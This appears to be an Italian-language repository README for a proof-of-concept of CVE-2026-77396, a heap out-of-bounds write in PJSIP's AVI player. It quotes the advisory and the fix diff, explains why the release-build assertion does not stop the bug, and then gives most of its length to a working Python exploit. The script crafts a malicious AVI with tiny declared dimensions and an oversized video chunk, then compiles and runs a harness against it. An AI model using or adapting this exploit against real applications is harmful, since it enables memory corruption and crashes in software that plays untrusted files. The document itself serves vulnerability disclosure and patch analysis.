saretawa/cve-2026-77396Proof-of-concept che genera un file AVI malevolo per attivare una scrittura out-of-bounds nell'heap nel parser AVI di PJSIP (CVE-2026-77396), con verifica ASan e analisi della patch.
Descrizione NIST del CVE:
PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser
in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame
buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an
attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames.
The existing size assertion does not protect production release builds, where assertions are disabled. Typical local
playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption
condition. No fixed version is available as of this review.
diff che esamineremo principalmente:
git diff 7ecc65849\^..7ecc65849 -- pjmedia/src/pjmedia/avi_player.c 12:57
diff --git a/pjmedia/src/pjmedia/avi_player.c b/pjmedia/src/pjmedia/avi_player.c
index af66be12f..1db41f719 100644
--- a/pjmedia/src/pjmedia/avi_player.c
+++ b/pjmedia/src/pjmedia/avi_player.c
@@ -1218,12 +1218,40 @@ static pj_status_t avi_get_frame(pjmedia_port *this_port,
goto on_error2;
fport->size_left -= size_to_read;
} else {
- pj_assert(frame->size >= ch.len);
- status = file_read3(fport->fd, frame->buf, ch.len,
+ pj_uint32_t read_len = ch.len;
+
+ /* Clamp the read to the frame buffer capacity. A crafted
+ * file may declare a chunk larger than the buffer, whose
+ * size is derived from the (also file-supplied) video
+ * dimensions; never write past frame->buf (frame->size
+ * bytes). Do not rely on pj_assert() here, as it is a no-op
+ * in release builds.
+ */
+ if (read_len > frame->size) {
+ PJ_LOG(3, (THIS_FILE,
+ "AVI video chunk (%u) exceeds frame buffer "
+ "(%u), truncating",
+ (unsigned)ch.len, (unsigned)frame->size));
+ read_len = (pj_uint32_t)frame->size;
+ }
+
+ status = file_read3(fport->fd, frame->buf, read_len,
0, &size_read);
if (status != PJ_SUCCESS)
goto on_error2;
- frame->size = ch.len;
+
+ /* Skip any remaining chunk bytes that did not fit, so the
+ * file position stays aligned to the next chunk.
+ */
+ if (ch.len > read_len) {
+ status = pj_file_setpos(fport->fd,
+ (pj_off_t)ch.len - read_len,
+ PJ_SEEK_CUR);
+ if (status != PJ_SUCCESS)
+ goto on_error2;
+ }
+
+ frame->size = read_len;
fport->size_left = 0;
}
la parte vulnerabile in sostanza:
pj_assert(frame->size >= ch.len);
status = file_read3(fport->fd, frame->buf, ch.len, 0, &size_read);
frame->size = ch.len;
ch è un header di chunk letto dal file AVI; ha un campo len che indica quanti byte contiene il chunk video. frame->buf è un buffer heap allocato in base alle dimensioni dichiarate del video (larghezza × altezza × byte-per-pixel).
questo dovrebbe essere un controllo: pj_assert(frame->size >= ch.len)
ma pj_assert è un no-op nelle build release/production. Quindi in qualsiasi deployment reale non c'è alcuna validazione. Il codice legge semplicemente ch.len byte direttamente in frame->buf.
in parole umane, nelle build di debug: pj_assert(frame->size >= ch.len) farebbe crashare il programma se la condizione è falsa. Nelle build release: quella riga sparisce, non avviene alcun controllo, e file_read3 scrive allegramente ch.len byte in un buffer troppo piccolo.
creare un file AVI in cui:
L'header dello stream video dichiara dimensioni piccole (ad esempio 16×16) -< allocazione di frame->buf piccola Un chunk video nella sezione dati dichiara un ch.len grande → file_read3 scrive ben oltre il buffer
Exploit:
import struct, os, subprocess, sys, signal, glob, argparse
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PJPROJECT = os.path.join(SCRIPT_DIR, "pjproject")
AVI_FILE = os.path.join(SCRIPT_DIR, "crash.avi")
TEST_SRC = os.path.join(SCRIPT_DIR, "test_avi.c")
TEST_BIN = os.path.join(SCRIPT_DIR, "test_avi")
FIX_COMMIT = "7ecc6584969a923c4190b6912afbf5952b5a4b9f"
VID_W = 16
VID_H = 16
BPP = 24
OVERFLOW = 50000
def craft_avi(path):
# strf (BITMAPINFOHEADER)
strf = b'strf' + struct.pack('<II', 40, 40)
strf += struct.pack('<iiHH', VID_W, VID_H, 1, BPP)
strf += b'MJPG' + struct.pack('<I', 0)
strf += struct.pack('<iiII', 0, 0, 0, 0)
# strh (stream header)
strh = b'strh' + struct.pack('<I', 56)
strh += b'vids' + b'MJPG'
strh += struct.pack('<IIIIIIIIIII', 0, 0, 0, 1, 30, 0, 1, 0, 0, 0, 0)
strh += struct.pack('<II', 0, 0)
# strl LIST
strl_body = b'strl' + strh + strf
strl = b'LIST' + struct.pack('<I', len(strl_body)) + strl_body
# avih
avih = b'avih' + struct.pack('<I', 56)
avih += struct.pack('<IIIIIIII', 33333, 0, 0, 0, 1, 0, 1, 0)
avih += struct.pack('<II', VID_W, VID_H)
avih += struct.pack('<IIII', 0, 0, 0, 0)
# hdrl LIST
hdrl_body = b'hdrl' + avih + strl
hdrl = b'LIST' + struct.pack('<I', len(hdrl_body)) + hdrl_body
# movi LIST the oversized chunk
movi_body = b'movi' + b'00dc'
movi_body += struct.pack('<I', OVERFLOW)
movi_body += b'\x41' * OVERFLOW
movi = b'LIST' + struct.pack('<I', len(movi_body)) + movi_body
# RIFF wrapper
avi_body = b'AVI ' + hdrl + movi
riff = b'RIFF' + struct.pack('<I', len(avi_body)) + avi_body
with open(path, 'wb') as f:
f.write(riff)
buf_est = VID_W * VID_H * 4
print(f"[*] wrote {path} ({len(riff)} bytes)")
print(f"[*] video: {VID_W}x{VID_H} MJPG, buffer ~{buf_est} bytes, chunk {OVERFLOW} bytes")
def find_libs():
lib_files = []
for sub in ["pjlib/lib", "pjlib-util/lib", "pjmedia/lib",
"pjnath/lib", "third_party/lib"]:
d = os.path.join(PJPROJECT, sub)
if os.path.isdir(d):
lib_files.extend(sorted(glob.glob(os.path.join(d, "*.a"))))
return lib_files
def compile_test():
if not os.path.isfile(TEST_SRC):
print(f"[-] {TEST_SRC} not found"); return False
lib_files = find_libs()
if not lib_files:
print("[-] pjproject not built. see README"); return False
inc = [f"-I{PJPROJECT}/{d}/include" for d in
["pjlib", "pjlib-util", "pjmedia", "pjnath", "pjsip"]]
cmd = (["gcc", "-o", TEST_BIN, TEST_SRC] + inc
+ ["-Wl,--start-group"] + lib_files + ["-Wl,--end-group"]
+ ["-lasound", "-luuid", "-lm", "-lpthread", "-lSDL2", "-lv4l2"])
print(f"[*] compiling {os.path.basename(TEST_SRC)} ...")
r = subprocess.run(cmd, capture_output=True, text=True)
if r.returncode != 0:
print(f"[-] compile failed:\n{r.stderr}"); return False
print(f"[+] built {TEST_BIN}")
return True
def run_test():
if not os.path.isfile(TEST_BIN):
print("[-] test binary not found"); return
print(f"\n[*] running {os.path.basename(TEST_BIN)} {os.path.basename(AVI_FILE)}")
r = subprocess.run(
[TEST_BIN, AVI_FILE],
capture_output=True, text=True, timeout=10,
)
if r.stdout.strip():
print(r.stdout.strip())
if r.stderr.strip():
for line in r.stderr.strip().splitlines()[:15]:
print(line)